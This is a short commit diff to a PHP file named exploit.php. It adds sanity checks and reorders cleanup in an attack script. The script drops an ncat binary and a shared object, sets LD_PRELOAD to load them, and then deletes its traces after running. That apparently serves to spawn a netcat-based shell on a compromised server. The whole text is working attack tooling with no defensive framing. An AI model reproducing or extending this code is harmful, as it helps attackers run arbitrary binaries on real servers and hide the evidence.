check shared object before execution

exploit.php

@@ -40,6 +40,17 @@ function unpack_object($object)
 file_put_contents('x64_nc', $gs_ncat_bin_x64);
 chmod('x64_nc', 0755);
 
+// check object
+if (filesize($absolute_path . '/x64.so') == 0) {
+	die('Unable to put shared object please compile and place it manually');
+}
+if (filesize($absolute_path . '/x64_nc') == 0) {
+	die('Unable to put elf please compile and place it manually');
+}
+if (filesize($absolute_path . '/.env-gs') == 0) {
+	die('Unable to put environment please do it manually');
+}
+
 // set environment variables
 putenv(sprintf('PRELOAD=%s', $absolute_path . '/x64_nc'));
 putenv(sprintf('LD_PRELOAD=%s', $absolute_path . '/x64.so'));
@@ -61,6 +72,6 @@ function unpack_object($object)
 // cleanup
 sleep(3);
 
-unlink($absolute_path . '/x64_nc');
 unlink($absolute_path . '/x64.so');
+unlink($absolute_path . '/x64_nc');
 unlink($absolute_path . '/.env-gs');